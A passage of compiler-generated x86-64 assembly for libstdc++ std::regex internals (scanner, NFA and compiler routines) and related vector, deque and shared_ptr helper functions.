eax, 2 jne .L745 mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8__detail8_ScannerIcE18_M_scan_in_bracketEv jmp .L741 .L745: mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+136] cmp eax, 1 jne .L741 mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8__detail8_ScannerIcE16_M_scan_in_braceEv .L741: leave ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EEC2Ev nop leave ret _ZNSt6vectorImSaImEE9push_backERKm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+16] cmp rdx, rax je .L748 mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaImEE9constructImJRKmEEEvRS0_PT_DpOT0_ mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] lea rdx, [rax+8] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], rdx jmp .L750 .L748: mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorImSaImEE3endEv mov rcx, rax mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt6vectorImSaImEE17_M_realloc_insertIJRKmEEEvN9__gnu_cxx17__normal_iteratorIPmS1_EEDpOT_ .L750: nop leave ret _ZNSt8__detail6_StateIcEC2ENS_7_OpcodeE: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov rax, QWORD PTR [rbp-8] mov edx, DWORD PTR [rbp-12] mov esi, edx mov rdi, rax call _ZNSt8__detail11_State_baseC2ENS_7_OpcodeE mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt8__detail6_StateIcE9_M_opcodeEv cmp eax, 11 sete al test al, al je .L753 mov rax, QWORD PTR [rbp-8] add rax, 16 mov rdi, rax call _ZN9__gnu_cxx16__aligned_membufISt8functionIFbcEEE7_M_addrEv mov rsi, rax mov edi, 32 call _ZnwmPv mov rdi, rax call _ZNSt8functionIFbcEEC1Ev .L753: nop leave ret _ZNSt8functionIFbcEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt14_Function_baseD2Ev nop leave ret _ZNSt8__detail6_StateIcED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt8__detail6_StateIcE9_M_opcodeEv cmp eax, 11 sete al test al, al je .L757 mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8__detail6_StateIcE14_M_get_matcherEv mov rdi, rax call _ZNSt8functionIFbcEED1Ev .L757: nop leave ret .LC15: .string "Number of NFA states exceeds limit. Please use shorter regex string, or use smaller brace expression, or make _GLIBCXX_REGEX_STATE_LIMIT larger." _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] lea rbx, [rax+56] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rsi, rax mov rdi, rbx call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE9push_backEOS2_ mov rax, QWORD PTR [rbp-24] add rax, 56 mov rdi, rax call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EE4sizeEv cmp rax, 100000 seta al test al, al je .L759 mov esi, OFFSET FLAT:.LC15 mov edi, 9 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L759: mov rax, QWORD PTR [rbp-24] add rax, 56 mov rdi, rax call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EE4sizeEv sub rax, 1 add rsp, 24 pop rbx pop rbp ret _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt8__detail6_StateIcEC2EOS1_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-32] mov rcx, QWORD PTR [rdx] mov rbx, QWORD PTR [rdx+8] mov QWORD PTR [rax], rcx mov QWORD PTR [rax+8], rbx mov rcx, QWORD PTR [rdx+16] mov rbx, QWORD PTR [rdx+24] mov QWORD PTR [rax+16], rcx mov QWORD PTR [rax+24], rbx mov rcx, QWORD PTR [rdx+40] mov rdx, QWORD PTR [rdx+32] mov QWORD PTR [rax+32], rdx mov QWORD PTR [rax+40], rcx mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNKSt8__detail6_StateIcE9_M_opcodeEv cmp eax, 11 sete al test al, al je .L765 mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNSt8__detail6_StateIcE14_M_get_matcherEv mov rdi, rax call _ZSt4moveIRSt8functionIFbcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rbx, rax mov rax, QWORD PTR [rbp-24] add rax, 16 mov rdi, rax call _ZN9__gnu_cxx16__aligned_membufISt8functionIFbcEEE7_M_addrEv mov rsi, rax mov edi, 32 call _ZnwmPv mov rsi, rbx mov rdi, rax call _ZNSt8functionIFbcEEC1EOS1_ .L765: nop add rsp, 24 pop rbx pop rbp ret _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-16] mov rax, rdx add rax, rax add rax, rdx sal rax, 4 add rax, rcx pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_alternativeEv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 112 mov QWORD PTR [rbp-120], rdi mov rax, QWORD PTR [rbp-120] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE7_M_termEv test al, al je .L769 lea rax, [rbp-112] mov rdx, QWORD PTR [rbp-120] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv mov rax, QWORD PTR [rbp-120] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_alternativeEv lea rax, [rbp-80] mov rdx, QWORD PTR [rbp-120] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv lea rdx, [rbp-80] lea rax, [rbp-112] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_ mov rax, QWORD PTR [rbp-120] lea rdx, [rax+304] lea rax, [rbp-112] mov rsi, rax mov rdi, rdx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushERKS5_ jmp .L771 .L769: mov rax, QWORD PTR [rbp-120] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_dummyEv mov r12, rax mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-48] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-48] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ .L771: nop add rsp, 112 pop rbx pop r12 pop rbp ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_dummyEv: push rbp mov rbp, rsp push rbx sub rsp, 72 mov QWORD PTR [rbp-72], rdi lea rax, [rbp-64] mov esi, 10 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE lea rdx, [rbp-64] mov rax, QWORD PTR [rbp-72] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L776 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L776: add rsp, 72 pop rbx pop rbp ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE13_M_insert_altEllb: push rbp mov rbp, rsp push rbx sub rsp, 136 mov QWORD PTR [rbp-120], rdi mov QWORD PTR [rbp-128], rsi mov QWORD PTR [rbp-136], rdx mov eax, ecx mov BYTE PTR [rbp-140], al lea rax, [rbp-112] mov esi, 1 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE mov rax, QWORD PTR [rbp-128] mov QWORD PTR [rbp-104], rax mov rax, QWORD PTR [rbp-136] mov QWORD PTR [rbp-96], rax lea rax, [rbp-112] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rdx, rax lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8__detail6_StateIcEC1EOS1_ lea rdx, [rbp-64] mov rax, QWORD PTR [rbp-120] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L781 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L781: add rsp, 136 pop rbx pop rbp ret _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC2ERNS_4_NFAIS3_EEll: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov QWORD PTR [rbp-32], rcx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-32] mov QWORD PTR [rax+16], rdx nop pop rbp ret _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rbx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt4moveIRNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEONSt16remove_referenceIT_E4typeEOS8_ mov rsi, rax mov rdi, rbx call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE9push_backEOS5_ nop add rsp, 24 pop rbx pop rbp ret _ZNKSt8__detail8_ScannerIcE12_M_get_tokenEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+144] pop rbp ret _ZNKSt8__detail8_ScannerIcE12_M_get_valueB5cxx11Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 200 pop rbp ret _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE3topEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE4backEv leave ret _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE3popEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE8pop_backEv nop leave ret _ZNSt6vectorImSaImEE4backEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorImSaImEE3endEv mov QWORD PTR [rbp-8], rax lea rax, [rbp-8] mov esi, 1 mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEmiEl mov QWORD PTR [rbp-16], rax lea rax, [rbp-16] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEdeEv nop leave ret _ZNSt6vectorImSaImEE8pop_backEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] lea rdx, [rax-8] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaImEE7destroyImEEvRS0_PT_ nop leave ret _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE5beginEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEC1ERKS4_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE3endEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] lea rdx, [rax+8] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEC1ERKS4_ mov rax, QWORD PTR [rbp-8] leave ret _ZN9__gnu_cxxneIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEEbRKNS_17__normal_iteratorIT_T0_EESD_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEE4baseEv mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEE4baseEv mov rax, QWORD PTR [rax] cmp rbx, rax setne al add rsp, 24 pop rbx pop rbp ret _ZN9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEppEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] lea rdx, [rax+48] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNK9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEdeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] pop rbp ret _ZNKSt8__detail6_StateIcE9_M_opcodeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax] pop rbp ret _ZNSaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED2Ev nop leave ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_destroy_nodesEPPS5_S9_: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rbp-8], rax .L809: mov rax, QWORD PTR [rbp-8] cmp rax, QWORD PTR [rbp-40] jnb .L810 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE18_M_deallocate_nodeEPS5_ add QWORD PTR [rbp-8], 8 jmp .L809 .L810: nop leave ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE17_M_deallocate_mapEPPS5_m: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx lea rax, [rbp-1] mov rdx, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNKSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE20_M_get_map_allocatorEv mov rdx, QWORD PTR [rbp-40] mov rcx, QWORD PTR [rbp-32] lea rax, [rbp-1] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEE10deallocateERS7_PS6_m lea rax, [rbp-1] mov rdi, rax call _ZNSaIPNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED1Ev nop leave ret _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EC2ERKS8_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], rdx mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+24], rdx nop pop rbp ret _ZNSt12__shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EEC2IS5_vEEOS_IT_LS8_2EE: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdi, rax call _ZNSt14__shared_countILN9__gnu_cxx12_Lock_policyE2EEC1Ev mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdx, QWORD PTR [rbp-16] add rdx, 8 mov rsi, rdx mov rdi, rax call _ZNSt14__shared_countILN9__gnu_cxx12_Lock_policyE2EE7_M_swapERS2_ mov rax, QWORD PTR [rbp-16] mov QWORD PTR [rax], 0 nop leave ret _ZNSaINSt7__cxx119sub_matchIPKcEEEC2ERKS4_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEEC2ERKS6_ nop leave ret _ZNSt16allocator_traitsISaINSt7__cxx119sub_matchIPKcEEEE10deallocateERS5_PS4_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEE10deallocateEPS5_m nop leave ret _ZNSt12_Destroy_auxILb1EE9__destroyIPNSt7__cxx119sub_matchIPKcEEEEvT_S8_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZNKSt12__shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EE3getEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] pop rbp ret .LC16: .string "vector::_M_default_append" _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE17_M_default_appendEm: push rbp mov rbp, rsp push rbx sub rsp, 72 mov QWORD PTR [rbp-72], rdi mov QWORD PTR [rbp-80], rsi cmp QWORD PTR [rbp-80], 0 je .L832 mov rax, QWORD PTR [rbp-72] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-72] mov rax, QWORD PTR [rax+8] sub rdx, rax mov rax, rdx sar rax, 3 mov rdx, rax movabs rax, -6148914691236517205 imul rax, rdx mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-72] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE8max_sizeEv cmp QWORD PTR [rbp-32], rax ja .L821 mov rax, QWORD PTR [rbp-72] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE8max_sizeEv sub rax, QWORD PTR [rbp-32] cmp QWORD PTR [rbp-40], rax jbe .L822 .L821: mov eax, 1 jmp .L823 .L822: mov eax, 0 .L823: test al, al mov rax, QWORD PTR [rbp-40] cmp rax, QWORD PTR [rbp-80] jb .L825 mov rax, QWORD PTR [rbp-72] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-72] mov rax, QWORD PTR [rax+8] mov rcx, QWORD PTR [rbp-80] mov rsi, rcx mov rdi, rax call _ZSt27__uninitialized_default_n_aIPNSt7__cxx119sub_matchIPKcEEmS4_ET_S6_T0_RSaIT1_E mov rdx, rax mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rax+8], rdx jmp .L832 .L825: mov rcx, QWORD PTR [rbp-80] mov rax, QWORD PTR [rbp-72] mov edx, OFFSET FLAT:.LC16 mov rsi, rcx mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE12_M_check_lenEmS3_ mov QWORD PTR [rbp-48], rax mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE11_M_allocateEm mov QWORD PTR [rbp-56], rax mov QWORD PTR [rbp-24], 0 mov rax, QWORD PTR [rbp-72] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rsi, rax mov rdx, QWORD PTR [rbp-32] mov rax, rdx add rax, rax add rax, rdx sal rax, 3 mov rdx, rax mov rax, QWORD PTR [rbp-56] lea rcx, [rdx+rax] mov rax, QWORD PTR [rbp-80] mov rdx, rsi mov rsi, rax mov rdi, rcx call _ZSt27__uninitialized_default_n_aIPNSt7__cxx119sub_matchIPKcEEmS4_ET_S6_T0_RSaIT1_E mov rdx, QWORD PTR [rbp-32] mov rax, rdx add rax, rax add rax, rdx sal rax, 3 mov rdx, rax mov rax, QWORD PTR [rbp-56] add rax, rdx mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-72] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rcx, rax mov rax, QWORD PTR [rbp-72] mov rsi, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-72] mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-56] mov rdi, rax call _ZSt34__uninitialized_move_if_noexcept_aIPNSt7__cxx119sub_matchIPKcEES5_SaIS4_EET0_T_S8_S7_RT1_ mov rax, QWORD PTR [rbp-72] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-72] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-72] mov rax, QWORD PTR [rax] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPNSt7__cxx119sub_matchIPKcEES4_EvT_S6_RSaIT0_E mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rbp-72] mov rcx, QWORD PTR [rdx+16] mov rdx, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rdx] sub rcx, rdx mov rdx, rcx mov rcx, rdx sar rcx, 3 movabs rdx, -6148914691236517205 imul rdx, rcx mov rsi, rdx mov rdx, QWORD PTR [rbp-72] mov rcx, QWORD PTR [rdx] mov rdx, rsi mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE13_M_deallocateEPS4_m mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rbp-56] mov QWORD PTR [rax], rdx mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-80] add rdx, rax mov rax, rdx add rax, rax add rax, rdx sal rax, 3 mov rdx, rax mov rax, QWORD PTR [rbp-56] add rdx, rax mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rax+8], rdx mov rdx, QWORD PTR [rbp-48] mov rax, rdx add rax, rax add rax, rdx sal rax, 3 mov rdx, rax mov rax, QWORD PTR [rbp-56] add rdx, rax mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rax+16], rdx jmp .L832 mov rdi, rax call __cxa_begin_catch cmp QWORD PTR [rbp-24], 0 je .L828 mov rax, QWORD PTR [rbp-72] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rsi, rax mov rdx, QWORD PTR [rbp-80] mov rax, rdx add rax, rax add rax, rdx sal rax, 3 mov rdx, rax mov rax, QWORD PTR [rbp-24] lea rcx, [rdx+rax] mov rax, QWORD PTR [rbp-24] mov rdx, rsi mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPNSt7__cxx119sub_matchIPKcEES4_EvT_S6_RSaIT0_E .L828: mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rbp-48] mov rcx, QWORD PTR [rbp-56] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE13_M_deallocateEPS4_m call __cxa_rethrow mov rbx, rax call __cxa_end_catch mov rax, rbx mov rdi, rax call _Unwind_Resume .L832: nop add rsp, 72 pop rbx pop rbp ret 